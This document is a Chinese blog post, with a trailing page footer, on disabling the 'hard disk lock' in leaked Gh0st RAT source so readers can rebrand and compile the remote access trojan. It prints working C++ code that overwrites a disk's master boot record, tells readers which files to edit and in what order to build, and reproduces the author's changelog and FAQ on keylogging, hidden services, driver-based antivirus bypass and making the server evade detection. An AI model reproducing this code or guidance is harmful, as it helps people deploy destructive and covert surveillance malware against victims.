gh0st去硬盘锁

这几天闲来无事,下载了个 gh0st 源码,由于刚开始没有仔细看是否去了硬盘锁,差点整个硬盘都费了。

gh0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁,中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部丢失!
    如果你没去硬盘锁,又改了版权,那么打开gh0st控制端后会一闪就关闭了,这样就是中硬盘锁了,中了硬盘锁之后将不能重装系统,只能重新对硬盘进行分区。

   gh0st去硬盘锁其实很简单,主要分为以下几部:

 

1 ghost.cpp文件中注释或删除以下代码(可以搜索这段代码unsigned char scode[] = 

  1. /* 
  2. unsigned char scode[] = 
  3. "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" 
  4. "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" 
  5. "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; 
  6.  
  7. int CGh0stApp::KillMBR() 
  8. { 
  9.     HANDLE hDevice; 
  10.     DWORD dwBytesWritten, dwBytesReturned; 
  11.     BYTE pMBR[512] = {0}; 
  12.      
  13.     // 重新构造MBR 
  14.     memcpy(pMBR, scode, sizeof(scode) - 1); 
  15.     pMBR[510] = 0x55; 
  16.     pMBR[511] = 0xAA; 
  17.      
  18.     hDevice = CreateFile 
  19.         ( 
  20.         "\\\\.\\PHYSICALDRIVE0", 
  21.         GENERIC_READ | GENERIC_WRITE, 
  22.         FILE_SHARE_READ | FILE_SHARE_WRITE, 
  23.         NULL, 
  24.         OPEN_EXISTING, 
  25.         0, 
  26.         NULL 
  27.         ); 
  28.     if (hDevice == INVALID_HANDLE_VALUE) 
  29.         return -1; 
  30.     DeviceIoControl 
  31.         ( 
  32.         hDevice,  
  33.         FSCTL_LOCK_VOLUME,  
  34.         NULL,  
  35.         0,  
  36.         NULL,  
  37.         0,  
  38.         &dwBytesReturned,  
  39.         NULL 
  40.         ); 
  41.     // 写入病毒内容 
  42.     WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); 
  43.     DeviceIoControl 
  44.         ( 
  45.         hDevice,  
  46.         FSCTL_UNLOCK_VOLUME,  
  47.         NULL,  
  48.         0,  
  49.         NULL,  
  50.         0,  
  51.         &dwBytesReturned,  
  52.         NULL 
  53.         ); 
  54.     CloseHandle(hDevice); 
  55.  
  56.     ExitProcess(-1); 
  57.     return 0; 
  58. } 
  59. */  


 

BuildView.cpp文件中注释或删除以下代码

 

  1. /* 
  2.     char    strVer[10]; 
  3.     char    strTitle[10]; 
  4.  
  5.     strVer[0] = 'C'; 
  6.     strVer[1] = '.'; 
  7.     strVer[2] = 'R'; 
  8.     strVer[3] = 'u'; 
  9.     strVer[4] = 'f'; 
  10.     strVer[5] = 'u'; 
  11.     strVer[6] = 's'; 
  12.     strVer[7] = ' '; 
  13.     strVer[8] = 'S'; 
  14.     strVer[9] = '\0'; 
  15.  
  16.     strTitle[0] = 'G'; 
  17.     strTitle[1] = 'h'; 
  18.     strTitle[2] = '0'; 
  19.     strTitle[3] = 's'; 
  20.     strTitle[4] = 't'; 
  21.     strTitle[5] = ' '; 
  22.     strTitle[6] = 'R'; 
  23.     strTitle[7] = 'A'; 
  24.     strTitle[8] = 'T'; 
  25.     strTitle[9] = '\0'; 
  26.  
  27.     CString str; 
  28.     GetDlgItemText(IDC_STATIC_VER, str); 
  29.     if (str.Find(strVer) == -1) 
  30.         ((CGh0stApp *)AfxGetApp())->KillMBR(); 
  31.  
  32.     GetParent()->GetWindowText(str); 
  33.     if (str.Find(strTitle) == -1) 
  34.         ((CGh0stApp *)AfxGetApp())->KillMBR(); 
  35.     */  


 

ghost.h文件中注释或删除以下代码

  1. //int KillMBR();  


 

即注释或删除出现KillMBR4处。

编译顺序从下往上依次编译,即先svchost files工程,然后install files工程,最后ghost files工程

注: 软件不断更新中,有什么意见大家多多提,偶看可以的就采纳.....gh0st的成长,离不开大家的帮助. 2008/1/27 11:16 : 优化了屏幕传输算法,CPU利用率更低 2008/1/27 16:06 : 驱动以资源方式写入安装文件跟DLL文件中,优化屏幕传输 2008/1/27 17:26 : 修正驱动安装时的一个Bug 2008/1/28 05:28 : 服务端安装强化,加入服务检测,守护线程强化,加入禁用监视,顺便做了下免杀 2008/1/29 12:47 : 改变服务端安装启动方式,隐藏服务,掉驱动程序和守护线程,感谢Lzx无私的帮助... 2008/1/29 16:12 : 修正键盘记录重复问题,优化服务端上线方式 2008/1/30 04:11 : 修正服务端网络内核的一个导致异常的Bug,优化服务端大小到100K 2008/1/31 01:28 : 重写服务端网络内核,加入数据包验证,及重发功能,更加稳定 2008/1/31 11:36 : 修正服务端网络内核一个导致数据包混乱的问题,加入帧速限制,传输不稳定的情况从此消失... 2008/2/01 10:54 : 主动防御功能加强,过卡巴全监控,瑞星,Kis6,Kis7,Norton,ZoneAlarm,江民2008等杀毒软件.下个版本准备过所有杀软的主动...期待吧. 2008/2/01 14:18 : 加入服务端异常处理,更新稳定,请各位帮助测试.. 2008/2/01 15:39 : 修正服务端删除后不能安装的致命错误 2008/2/01 23:35 : 改写了下服务端一些函数,增加稳定性,春季过后重写服务端吧,简洁下程序. 2008/2/02 19:51 : 修正服务端视频监控功能的一些BUG 2008/2/03 00:40 : 屏幕监控加入显示远程鼠标功能 2008/2/05 16:46 : 重写屏幕传输算法,屏幕传输更快,控制更稳定.. 2008/2/05 23:45 : 还是网络内核跟屏幕传输方面,只求更快,不求最快,前版本屏幕传输有问题,旧版本不能上线,请用最新版本... 2008/2/06 17:32 : 服务端做了些优化,加入跟踪远程光标的功能,旧版本不能上线,请用最新版本 2008/2/07 00:57 : 改了些服务端,没事优化优化,准备过完年,大整一下,新年快乐... 2008/2/07 16:02 : 没事加了个托盘功能,做了些代码优化,一个人过年,有点郁闷... 2008/2/07 20:42 : 修正服务端一个句柄泄漏的问题.. 2008/2/08 22:08 : 全面优化了下服务端,新加了备注功能. 2008/2/09 22:58 : 修正一些大家提到的问题,Gh0st RAT Beta 2.1 发布 2008/2/11 00:18 : 修正服务端安装的一个BUG,静心研究ACE中,暂停更新................... 2008/2/17 16:14 : 保存配置文件,服务端支持socks5代理上线,加入下载更新功能,屏幕控制加入,黑屏,锁定等功能 2008/2/20 10:49 : 应大家要求,看了看江民2008的垃圾主动,连注册表都没,随便改了下服务端,过江民2008主动.其它有啥主动过不了的,抓图,我抽空解决 Gh0st问答: 2008/2/20 09:26 : 改了下服务端一些网络方面的东西,看对2003掉线情况是否有效,望大家测试,多谢了. 2008/2/21 15:43 : 服务端掉线问题,重启后不上线问题,测试版本,请大家测试 2008/2/22 19:47 : 解决重启后服务端不上线问题,加强对抗主动防御的功能 2008/2/23 17:11 : 全面优化了下服务端,加强稳定性,请大家测试 2008/2/23 19:03 : 修正视频监视的一个小BUG 2008/2/24 01:55 : 文件管理中加入本地和远程运行功能,优他了部分代码,旧版本不会上线,请用新版本 2008/2/24 12:56 : 修正文件管理中一个低级错误,下载更新的一个错误 2008/2/26 00:00 : 完美解决重复安装,重复上线问题,发布gh0st2.5,准备第二阶段的开发,重点在稳定,实用上.... 声明下软件的安装方式: 如果安装时发现有相同配置的服务端已经安装过,就不安装也不删除,跟鸽子一个原理,我是靠字串区别的 2008/3/2 06:35 : 本着我写gh0st的初衷,一个共享,免费,的软件,到今天为止,算是对大家一个交代,新版本开发中,此版本开源..装上VC6,打造属于你们自己的gh0st吧.. 本人不保留版权,任何信息,自由修改,多谢一直以来大家的支持,我会继续努力的 在此声明:此软件无作者,无版权,由此软件造成的任何不良后果与红狼无关,多谢!!!! 1:为什么服务端下线后,控制端没反应 答:控制端检测心跳包间隔为1分钟,过一分钟后,自然就下线了 2:下线后多长时间才能再上线 答:服务端断线重连间隔为1分钟 3:怎么找不到在哪控制屏幕,跟键盘的离线记录 答:在标题栏点右键,也就是系统菜单,就能看到 4:为什么有时会出现重复上线的问题 答:服务端发生异常,就会重新连接创建第二个连接,但是第一个连接已经断开了,控制端在其心跳超时的情况下,会删除 心跳超时为1分钟,也就是说,重复上线情况会持续一分钟,自然就没有了 5:有些大家提到的有些功能,为什么没有加上 答:gh0st作者有自己的想法,自己的宗旨 6:提出建议或问题后多长时间能解决 答:偶以最快的速度,把gh0st做的专业,强大,稳定. 7: 如果做免杀??? 答:服务端用ResourceHacker或者别的资源提取工具打开,会看到两个资源,分别是DLL文件和恢复SSDT的驱动,开始动手吧.... 8:能不能加入系统服务管理的功能呢? 答:系统服务管理,注册表管理等这些,我感觉没必要加才不加的,服务管理sc就能搞定,注册表reg就搞定,服务端加这些函数,对免杀也有影响 9:希望能够加入服务端安装判断的功能,要不然连续运行两次,就上线两次。 答:现在服务端安装是共享模式,可以安装多个,上线多个,实际上不是重复上线,版本稳定后,服务端三种安装模式:独占模式,单一模式,共享模式,顾名思义的理解吧 10: ...虚位以待...
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值